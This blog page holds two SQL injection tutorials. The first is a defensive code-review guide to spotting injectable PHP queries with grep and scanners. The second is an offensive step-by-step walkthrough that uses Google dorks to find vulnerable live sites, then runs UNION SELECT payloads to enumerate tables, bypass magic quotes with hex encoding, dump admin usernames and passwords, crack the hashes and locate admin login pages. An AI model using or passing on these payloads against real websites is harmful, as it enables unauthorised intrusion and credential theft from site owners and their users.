Showing posts with label SQL Attack. Show all posts
Showing posts with label SQL Attack. Show all posts

This makes website SQL Injectable - SQL Code review High detailed tutorial

Hello all,

i ve found hundres of tutorals about Sql Injection, but nothing that shows why and how a website gets SQL Injectable. This will be my Topic here. This is my first tutorial so don´t be too hard to me ;) but if you ve got question or things which my be wrong here, than don´t be afraid! contact me :) If you think this is good, than show it to me please, i ll try to gave you some more :) ok let´s start!

Reviewing the Source Code of a Webpage
The goal of the code review is to locate and analyze areas of code which may have application security implications.

What makes a Website SQL Injectable?


Code:
1. Example: $result = mysql_query(“Select * From table Where column = ‘ $_GET[“param”] ‘ “);

This code is vulnurable, but why?
The User Input is passed directly to a dynamically constructed SQL statement and is executed without first being validated.

2. Example:

Code:
$result = mysql_query(“SELECT * FROM table WHERE column = ‘ $param’ “);

Is this code vulnerable too?
To make an informed decision as to whether a vulnerability exist, you need to trace the variable to its origin and follow its flow through the application.

To do this you need to identify the entry points into the application (called sink source) and search the source code to identify at what point the $param variable is assigned a value. You are trying to identify a line of PHP code that is similar to that:

Code:
$param = $_GET[“param”];

This line assings the user-controlled data to the $param variable.
Once an entry point is identified, it is important to trace the input to discover where and how the data is used.

If you trace it and found the following two lines of PHP code you could safely say, there is a vulnerability. The following code is vulnerable to SQL injection because a tainted variable ($param) is passed directly to a dynamicall constructed SQL statement (sink) and is executed.

Code:
$param = $_GET[“param”];
$result = mysql_query(“SELECT * FROM table WHERE field = ‘$param’ “);

How could you find queries with direct user input?
You can use the following command to recursively search a directory of source files for the use of mssql_query(), mysql_db_query(), and mysql_query() with direct user input into an SQL-statement.

Code:
$ grep –r –n “\(mysql\|mssql\|mysql_db\)_query\(.*\$_\(GET\|\POST\).*\)” src/ | awk –F: ‘{print “filename: “$1”\nline: “$2”\nmatch: “$3”\n\n”}’

Result:

Filename:src/mssql_query.injectable.php

Line:11
Match: $result = mssql_query(“SELECT * FROM TBL WHERE COLUMN = ‘ $_GET[‘var’]’ “);

Filename: src/mysql_query.injectable.php

Line:13
Match: $result = mysql_query(“SELECT * FROM TBL WHERE COLUMN = ‘ $_GET[‘var’]’ “),$link);

Another possible output:

Filename: src/SQLi.MySQL.vulnerable.php

Line:20
Match: $result = mysql_query ($sql);

The mysql_query() function is used to send a query to the currently active database.

You can see from the line found that the function is in usw. However, you do not know what the value of the $sql variable is; it probably contains an SQL statement to execute but you do not know whether it was build using user input or whether it is tainted. So, at this stage, you cannot say whether a vulnerability exist. You need to trace the $sql variable.

To do this you can use the following command:

Code:
$ grep – r –n “\$sql” src/ | awk –F:  ‘{print “filename: “$”\nline: “$2$”\nmatch: “$3”\n\n”]’

The problem problem with the preceding command is that often, developers reuse variables or use common names, so you may end up with some results that do not correspond to the function you are investigating. You can improve the situation by expanding the command to search for common SQL commands. You could try the following grep command to identify points in the code where dynamic SQL statements are created:

Code:
$ grep –I – r –n  “\$sql =.*\”\ (SELECT\UPDATE\|INSERP\)”  src/ | awk –F:  ‘{print “filename: “$”\nline: “$2$”\nmatch: “$3”\n\n”]’

If you are lucky, you will find only one match, as illustrated here:

Filename: src/SQLi.MySQL.Vulnerable.php

Line: 20
Match: $sql = “Select * From table Where field = ‘$_Get[‘input’]’”;

Of course there are many tools which will do it automatically but you should be clear about that they won´t get all of them or maybe producing “false postives” (there is no/or an injection possible, where the program may say there isn’t).

Code:
Bonus material:
Oci_parese() parses a statement before it is executed (prior to oci_execute() / ociexecute())
Ora_parse() Parses a statement before it is executed (prior to ora_exec())
Mssql_bind() Adds a paramenter to a storded procedure (prior to mssql_execute())
Mssql_execute() Executes a stored procedure
Odbc_prepare() Prepares a statement for execution (prio to odbc_execute())
Odbc_execute() Executes an SQL statement
Odbc_exec() Prepares and executes an SQL statement
Examples for some queries:
//mssql_query() – sens a query to the currently active database
$result = mssql_query($sql);
//mysql_db_query() – selects a database, and executes a quer on it
$result = mysql_db_query($db, $sql);
//mysql_db_query() – selects a database, and executes a quer on it
$result = mysql_db_query($db, $sql);

This tutoral took some time, so please if you visited it and think it´s good, just post a thanks that people are motivated, to go on with stuff like that :)

some Scanners:
- Yet Another Source code Analyer (YASCA)
- LAPSE
- AppCodeScan
- Pixy
- Security Compass Web Application Analysis Tool (SWAAT)
- Microsoft Source Code Analyzer for SQL Injection
- Microsoft Code Analysis Tool .NET (CAT.NET)
- Ounce
- Code Secure

thanks! :)
READMORE
 

SQL-injection [Tutorial]

Hello everyone, today i am gonna teach you about SQL injection, and yes i know there

What is SQL injection?

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

That is the first paragraph of the wikipedia page for SQLi (SQL injection) found here:
http://en.wikipedia.org/wiki/SQL_injection

You should read the entire page.

What you need to do:

Either you need to find vulnerable sites manually or you can use my tool here: http://www.the-exiled.net/viewtopic.php?...09e77f235b

To find sites manually, simply use 1 of these search dorks (or pm me if you want more dorks)


inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=

Checking for vulnerability:

In order to check if a site is vulnerable to SQL injection, just put a ' in the end of the url like this:
http://www.examplesite.com/index.php?id=5'

If the site shows you an error it is vulnerable to SQLi.

Lets say we found a vulnerable site. In order to successfully extract information from the database we need to do a few things, so it might be a good idea to open a text document so you can write stuff down.

First we need to find out how many columns there is in the database. To do so we will use this query:

http://www.examplesite.com/index.php?id=5 order by 1--

And we will keep increasing the number until we get an error.

http://www.examplesite.com/index.php?id=5 order by 5--
http://www.examplesite.com/index.php?id=5 order by 10--

You need to find the highest 'order by' number without the error. For this example lets assume that i got an error at 'order by 11--' which means i then need to replace that 11 with a 10 again (which was the highest number i could put in without getting any errors). That is the amount of columns in the database!

So lets say there is 10 columns in the database as stated in the example.

Now we need to find out which columns that are vulnerable to SQL injection. To do so we will use this query:

http://www.examplesite.com/index.php?id=-5 union select 1,2,3,4,5,6,7,8,9,10--

Btw notice that i put a single - in front of the id number (id=-5)
Since there is no page with the id -5 it simply put just clears the sites text for us. That makes it easier for us to find the data that we are looking for.

Okay lets say the numbers 3, 6 and 9 popped up on the site. These are the vulnerable tables. Now we wanna find the version of the database. To do so we will use this query (in either 1 of the vulnerable tables but i chose 3 for this example)

http://www.examplesite.com/index.php?id=-5 union select 1,2,@@version,4,5,6,7,8,9,10--

And if that doesn't work then try this 1:

http://www.examplesite.com/index.php?id=-5 union select 1,2,version(),4,5,6,7,8,9,10--

Now we want to get the name of the database for later usage, to do so we will use this query:

http://www.examplesite.com/index.php?id=-5 union select 1,2,concat(database()),4,5,6,7,8,9,10--

Write that name down so you wont forget it. Lets say the database name i just extracted was named exampledatabase

If the version is 4 or below, it is probably best that you just move on to another site since you are gonna have to brute force the tables for information (which isn't a very good idea for starters Biggrin )

If the version is 5 or above then we will use this query to show all the tables:

http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--

Btw you dont have to group concatenate the output here. These queries would work as well

http://www.examplesite.com/index.php?id=-5 union select 1,2,concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
http://www.examplesite.com/index.php?id=-5 union select 1,2,table_name,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--

Now you have the table names! Now you need to look at those tables and see if you can spot some tables we know has good information in it, tables such as:
    User(s)
    Admin(s)
    tbluser(s) / tbl_user(s)
    tbladmin(s) / tbl_admin(s)

Ofc the admin might not have given the table such an obvious name so you might have to look around abit.

Once you have found the table you think has the information you want, we will use this query (In this example i use admin):

http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name="admin"--

If the site shows you an error now dont panic! All that means is that Magic Quotes is turned on. To bypass this we need to convert the text "admin" into hex.

To do this:
    Copy the name of the table you are trying to access.
    Paste the name into the website where it says "Say Hello To My Little Friend".
    Click Convert
    Copy the hex into your query like this.

http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x61646d696e--

Notice the 0x before the hex string. This is to tell the server that the next part is a hex string.

You should now see all the columns inside the table.

Now, once again you will have to spot the columns we wanna see the contents of (although it is hopefully easier this time)

Lets say there are 2 columns called username and password. In order to see what are inside of those columns we will use this query:

http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from exampledatabase.admin--

this is where we needed the database name. Btw the 0x3a means colon ( : )

Now you have the admin login!

If it is decrypted, try to run it through some online md5 'decrypters' or use havij - http://www.the-exiled.net/viewtopic.php?...09e77f235b

And now we have to find the admin login.

to do so, once again you can use havij for that, or you can search for it manually. If you wanna search manually you can try pages like these:

http://www.examplesite.com/admin.php
http://www.examplesite.com/admin.asp
http://www.examplesite.com/admin/
http://www.examplesite.com/adminlogin.php
http://www.examplesite.com/adminlogin.asp
http://www.examplesite.com/adminlogin/
http://www.examplesite.com/login.php
http://www.examplesite.com/login.asp
http://www.examplesite.com/login/

etc etc.

And that was my tutorial on SQL injection. Hope you enjoyed it and found it useful. And please feel free to comment here if you need further assistance and i will help you to the best of my knowledge Smile
READMORE